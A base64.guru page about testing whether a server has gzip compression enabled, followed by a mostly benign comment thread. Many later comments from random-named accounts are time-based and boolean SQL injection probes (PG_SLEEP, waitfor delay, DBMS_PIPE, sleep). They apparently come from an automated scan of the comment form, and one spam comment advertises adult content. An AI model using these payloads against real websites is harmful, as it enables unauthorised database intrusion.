A virtual teacher who reveals to you the great secrets of Base64

Gzip Test

To check if gzip is enabled on your server, you must send a HTTP request containing the Accept-Encoding: gzip header. If gzip is enabled, the server should return the Content-Encoding: gzip header. To automate this process, I developed an online gzip compression test that tells you whether the server is configured correctly and displays all HTTP response headers.


It is very important to enable gzip on your server, because it may significantly compress text data, which saves internet bandwidth usage and speeds up page loading. This is especially important if you embed binary files using the data URI scheme. Therefore, you need to make sure that your server is configured correctly. Note that it should be enabled only for text data (for example, HTML, CSS, JavaScript), but should be disabled for binary files such as images, sounds, or video files.

Comments (66)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Amitava,
    Thanks for your free tool for Gzip checking. I have just now checked my own website
    • Irene,
      Just checked one of our websites and found your tool very cool for easily confirming that Gzip is enabled. Thanks for your helpful idea.
  • Tom,
    Awesome Tool! Used it many times till I found out too many websites and blogs were not using Gzip yet. Coded an alternative tool which runs on all my servers now. It checks periodically if Gzip is activated, and if not it will automatically enable it.
  • Kumar,
    Just tried on the top NRI website and it is enabled. Thanks for the tool.
  • Skip,
    I checked my site and it appears to be gzip enabled. Thanks for the free check.
  • Pamela,
    I'm glad you offer this test, it's helpful but I still got a B on pingdom with this issue
    • Administrator,
      Hello Pamela. If you need help please contact me for a consultation.
      • Eric,
        hi, i have pasted the code in my .htaccess file, but I still get, gzip not enabled. why
  • Nafeesha,
    Just checked one of our websites and found your tool very cool for easily confirming that Gzip is enabled. Thanks for your helpful idea.
  • Fernando,
    I´ve tested and the answear is 'Gzip is disabled and this is bad because text data should be compressed.' but when i´ve already updated my apache setings and when i look in the 'info.php' the returno is 'gzip compression enabled'
  • Sam,
    thanks for the guide, this method should work
  • farhan,
    thanks for sharing this website, i have checked my website and it's gzip enabled.
  • jay,
    I just tried this tool for my website and it worked great.The tool is very fast and detailed.

    Thanks.
  • Sunny,
    Thank you so much for such a nice tool.
  • Findcheap,
    Thank you very much. I have checked this function in my web
  • Matti,
    I checked my sites and it appears to be gzip enabled. Thanks for the tool.
  • marcow,
    I checked my site and it appears to be gzip enabled. Thanks for the free check.
  • SyedHamza,
    I checked my site and it appears to be gzip enabled. Thanks for the free check.
  • MikeLees,
    On my site I get the x-content-encoding-over-network: gzip
    and not Content-Encoding: gzip
    what is the difference?
    • Administrator,
      This can happen if you have an antivirus that decompresses the server output to scan it and make sure there are no threats. That is, if you see this only on your side it means that most likely your server supports gzip. But, if you see it on this page, it means that something is wrong. Anyway, please check your server using the Gzip Test provided on this page and make sure that it returns the "Gzip is enabled and this is good" notice.
  • copperarts,
    Thank you for the great tool. I was not sure if gzip enabled for my website.
  • Catadu,
    I have just checked the Gzip compression enability of mu site. Thanks alot to base64.guru
  • Ryuuma,
    Thanks for this site
  • Haych,
    Great site, very handy and simple to use tool that is perfect for anyone to check is Gzip compression is in place
    Thank you for developing and making public this great tool for everyone to use :)
  • Bhaskara,
    actually the website I'm working is pretty fast but it looks like it will be faster if I activate gzip! I just found out from this site that it's active on my website!
  • orangsatu,
    On my site this feature is not yet active, thank you so I know about this..
  • Adeel,
    I´ve tested and the answer is 'Gzip is disabled and this is bad because text data should be compressed. how to enable this i tried many plugins but nothing worked
  • Marco,
    Any ideas why yesterday it showed me that GZIP is enabled and today when i checked it on Page Speed Insights or Lighthouse Text compression is disabled again?
  • NickS-KC,
    Do you have to specify to gzip a HTTP request or file transfer. Do you do that by specifying in the headers or is that just for if you are compressing requests and responses explicitly in your code. Can someone give me an example of when best to use this? Thanks
  • nqhXncMU,
    -5 OR 405=(SELECT 405 FROM PG_SLEEP(15))--
  • nqhXncMU,
    1
  • nqhXncMU,
    555*351*346*0
  • nqhXncMU,
    -5) OR 252=(SELECT 252 FROM PG_SLEEP(15))--
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    vZVAJgq2') OR 62=(SELECT 62 FROM PG_SLEEP(15))--
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    tJkCWno0') OR 743=(SELECT 743 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • gBqsPxAZ,
    1 waitfor delay '0:0:15' --
  • gBqsPxAZ,
    f0YAID2h') OR 474=(SELECT 474 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    EqppyPDS' OR 161=(SELECT 161 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    if(now()=sysdate(),sleep(15),0)
  • gBqsPxAZ,
    -1)) OR 590=(SELECT 590 FROM PG_SLEEP(15))--
  • nqhXncMU,
    555*405*400*0
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    MPa0GJiw' OR 884=(SELECT 884 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1)) OR 237=(SELECT 237 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    Jts28bKn') OR 375=(SELECT 375 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -5 OR 574=(SELECT 574 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1); waitfor delay '0:0:15' --
  • ncMUFCMU,
    -1 OR 2+202-202-1=0+0+0+1 --
  • ncMUFCMU,
    -5) OR 682=(SELECT 682 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1 OR 2+480-480-1=0+0+0+1
  • ncMUFCMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    -1 OR 2+631-631-1=0+0+0+1
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    -1)) OR 132=(SELECT 132 FROM PG_SLEEP(15))--
  • nqhXncMU,
    kJEt8IvZ' OR 784=(SELECT 784 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1' OR 2+659-659-1=0+0+0+1 --
  • nqhXncMU,
    vkqMD8Aw') OR 756=(SELECT 756 FROM PG_SLEEP(15))--
  • Beatrice,
    What To Look For To Determine If You're Ready To Onlyfans Pornstars Adult
  • fHLvlxbf,
    -1 OR 3+594-594-1=0+0+0+1 --
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.